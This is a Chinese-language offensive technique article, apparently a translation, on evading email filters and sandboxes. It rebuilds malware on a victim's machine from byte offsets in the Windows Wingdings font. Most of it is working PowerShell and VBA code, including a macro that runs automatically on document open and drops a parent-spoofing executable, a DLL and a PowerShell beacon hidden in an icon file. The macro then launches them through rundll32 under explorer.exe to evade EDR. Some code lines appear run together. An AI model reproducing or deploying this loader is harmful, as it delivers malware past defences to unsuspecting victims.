一、前言
现在攻击者们经常使用“Living Off the Land”技术,也就是利用受害者环境中已安装的合法程序来执行恶意操作。通过这种方法,攻击者无需在攻击载荷库中额外添加其他软件:所需的一切都已在受害者计算机中准备就绪。
然而在许多情况下,常见的攻击过程通常会包含如下几个步骤:
1、投递包含载荷的文件,这些载荷既可以是待执行的恶意代码,也可以是非恶意代码,载荷会在第三个阶段下载恶意组件;
2、说服受害者执行攻击载荷;
3、载荷随后会执行如下操作:
- 利用受害者环境中自带的应用来执行恶意组件;
- 下载恶意组件,然后利用受害者环境中自带的应用来执行恶意组件。
二、目标
我希望能够找到满足如下条件的一种解决方案:
1、不包含内任意恶意代码(甚至是恶意字节),并且能够绕过外围防护(邮件过滤、沙盒等);
2、不会下载任何恶意代码;
3、能够执行恶意代码。
三、利用字体自生成恶意软件
首先,我们需要找到每个Windows操作系统上都存在的一个组件。一番搜索后,我终于找到了如下目标:
我对比了各种Windows版本上的Windings字体,发现这个字体在这些系统上完全相同。
由于这个字体似乎是所有Windows计算机上的常见组件,因此我们有可能通过这个媒介实现我们的目标。如何做到这一点?具体步骤如下:
1、在我们的计算机上收集恶意软件包含的字节信息;
2、将恶意软件的首字节与Wingdings字体比较;
3、一旦在该字体中找到同一个字节,则将其位置记录在一个文本文件中;
4、重复此过程,直到我们找到恶意软件中包含的所有字节,并将这些位置信息记录到文本文件中;
5、这样我们的载荷将包含恶意软件每个字节在Wingdings字体中的位置;
6、在受害者主机上,攻击载荷通过Wingdings字体中的字节位置信息重构恶意组件。
查找字体中对应字节的PowerShell代码如下所示:
$Font = "C:WindowsFontswingding.ttf" $Malware = "C:UsersAdministratorPictures2.PNG" $fontArray = Get-Content $Font -Encoding Byte -ReadCount 0 $malwareArray = Get-Content $Malware -Encoding Byte -ReadCount 0 $offsetArray = @() foreach ($byteInMalware in $malwareArray){ $index = 0 foreach ($byteInFont in $fontArray) { if ($byteInMalware -eq $byteInFont) { $offsetArray += $index break } $index++ } }
如上PowerShell代码会生成VBA代码,我们可以将VBA代码插入宏中。如下代码则会生成一个字节数组,数组中包含用来重构恶意组件的每个字节的位置信息:
$i=0 $payload = "" $j=0 $u=1 $payDef = "" foreach($offset in $offsetArray){ if($i -eq 30) { $payload = $payload + ", " + $offset + " _`r`n" $i=0 $j++ } else { if($i -eq 0) { $payload = $payload + $offset } else { $payload = $payload + ", " + $offset } } if($j -eq 25) { $payDef = $payDef + "`r`nFunction ccc$u() tt$u = Array($payload) ccc$u = tt$u End Function" $payload = "" $u++ $j = 0 } $i++ } if($payload -ne ""){ $payDef = $payDef + "`r`nFunction ccc$u() tt$u = Array($payload) ccc$u = tt$u End Function" } $payDef
运行结果如下:
如下VBA代码可以根据我们提供的字节数组信息重构恶意组件(然而代码写得并不是特别好),然后选择Explorer.exe作为Rundll32.exe的父进程(加大EDR产品的分析难度),接着使用Rundll32.exe来执行恶意组件(一个.DLL文件,可以用来运行隐藏在.ICO资源中的PowerShell恶意代码)。我们可以修改这个过程,通过注入进程内存空间避免文件落盘。后续工作留待大家来完成。
VBA代码如下:
[...] --> you array of bytes containing the position of necessary bytes in the Windings font. 'example to join the bytes for the fist malicious component t1 = cc1 t2 = cc2 t3 = cc3 t4 = cc4 t5 = cc5 t6 = cc6 t7 = cc7 t8 = cc8 t9 = cc9 t10 = cc10 t11 = cc11 t12 = cc12 t13 = cc13 t14 = cc14 t15 = cc15 t16 = cc16 t17 = cc17 t18 = cc18 ttt = Split(Join(t1, ",") & "," & Join(t2, ",") & "," & Join(t3, ",") & "," & Join(t4, ",") & "," & Join(t5, ",") & "," & Join(t6, ",") & "," & Join(t7, ",") & "," & Join(t8, ",") & "," & Join(t9, ",") _ & "," & Join(t10, ",") & "," & Join(t11, ",") & "," & Join(t12, ",") & "," & Join(t13, ",") & "," & Join(t14, ",") & "," & Join(t15, ",") & "," & Join(t16, ",") & "," & Join(t17, ",") & "," & Join(t18, ","), ",") [...] Dim nb As Integer Dim nb2 As Integer nb = UBound(ttt) - LBound(ttt) + 1 'ttt is a joined byte array nb2 = UBound(tt) - LBound(tt) + 1 nb3 = UBound(ttttttt) - LBound(ttttttt) + 1 Dim intFileNumber As Integer Dim i As Integer Dim j As Integer Dim lngFileSize As Long Dim lngFileSize2 As Long Dim strBuffer As String Dim strBuffer2 As String Dim lngCharNumber As Long Dim lngCharNumber2 As Long Dim strCharacter As String * 1 Dim strCharacter2 As String * 1 Dim strFileName As String Dim strFileName2 As String Dim offset() As Variant strFileName = "C:\Windows\Fonts\wingding.ttf" intFileNumber = FreeFile Open strFileName For Binary Access Read Shared As #intFileNumber lngFileSize = LOF(intFileNumber) strBuffer = Space$(lngFileSize) Get #intFileNumber, , strBuffer Close #intFileNumber Dim nFileNum As Long Dim sFilename As String Dim ind As Long sFilename2 = "C:\Users\Public\Documents\changeMyParent.exe" ' crafted binary that will be use to select the parent of rundll32 sFilename = "C:\Users\Public\Documents\runPoshCode.dll" ' .DLL that will run powershell beacon from an image sFilename3 = "C:\Users\Public\Documents\BEACON.ico" ' malicious powershell beacon registered in an .ICO nFileNum = FreeFile ' a loop would be better ;-) Open sFilename2 For Binary Lock Read Write As #nFileNum For lngCharNumber = 0 To nb - 1 ind = lngCharNumber + 1 off = ttt(lngCharNumber) strCharacter = Mid(strBuffer, off, 1) Put #nFileNum, ind, strCharacter Next lngCharNumber Close #nFileNum nFileNum = FreeFile Open sFilename For Binary Lock Read Write As #nFileNum For lngCharNumber = 0 To nb2 - 1 ind = lngCharNumber + 1 off = tt(lngCharNumber) strCharacter = Mid(strBuffer, off, 1) Put #nFileNum, ind, strCharacter Next lngCharNumber Close #nFileNum nFileNum = FreeFile Open sFilename3 For Binary Lock Read Write As #nFileNum For lngCharNumber = 0 To nb3 - 1 ind = lngCharNumber + 1 off = ttttttt(lngCharNumber) strCharacter = Mid(strBuffer, off, 1) Put #nFileNum, ind, strCharacter Next lngCharNumber Close #nFileNum rr End Sub Sub rr() Dim xx As String Dim oihfasf As Object, eopuf As Object, kdj As Object Dim oDic As Object, a() As Variant Dim pskaf As Integer Set oDic = CreateObject("Scripting.Dictionary") xx = "." Set oihfasf = GetObject("winmgmts:\\" _ & xx & "\root\CIMV2") Set eopuf = oihfasf.ExecQuery _ ("Select Name, ProcessID FROM Win32_Process", , 48) For Each kdj In eopuf If (kdj.Properties_("Name").Value) = "explorer.exe" Then pskaf = (kdj.Properties_("ProcessID").Value) End If Next Dim t As Date Dim cnt As Long Dim arr(2) As Byte Dim xl As String xl = "C:\Users\Public\Documents\changeMyParent.exe ""C:\Windows\system32\RunDll32.exe C:\Users\Public\Documents\runPoshCode.dll,ComputeFmMediaType -f C:\Users\Public\Documents\BEACON.ico"" " & pskafxx = "." Set ow = GetObject("winmgmts:\\" & xx & "\Root\cimv2") Set os = ow.Get("Win32_ProcessStartup") Set oc = os.SpawnInstance_ Set op = GetObject("winmgmts:\\" & xx & "\root\cimv2:Win32_Process") op.Create xl, Null, oc, aslh End Sub Sub AutoOpen() cc End Sub Sub Workbook_Open() cc End Sub
这个过程就是这么简单。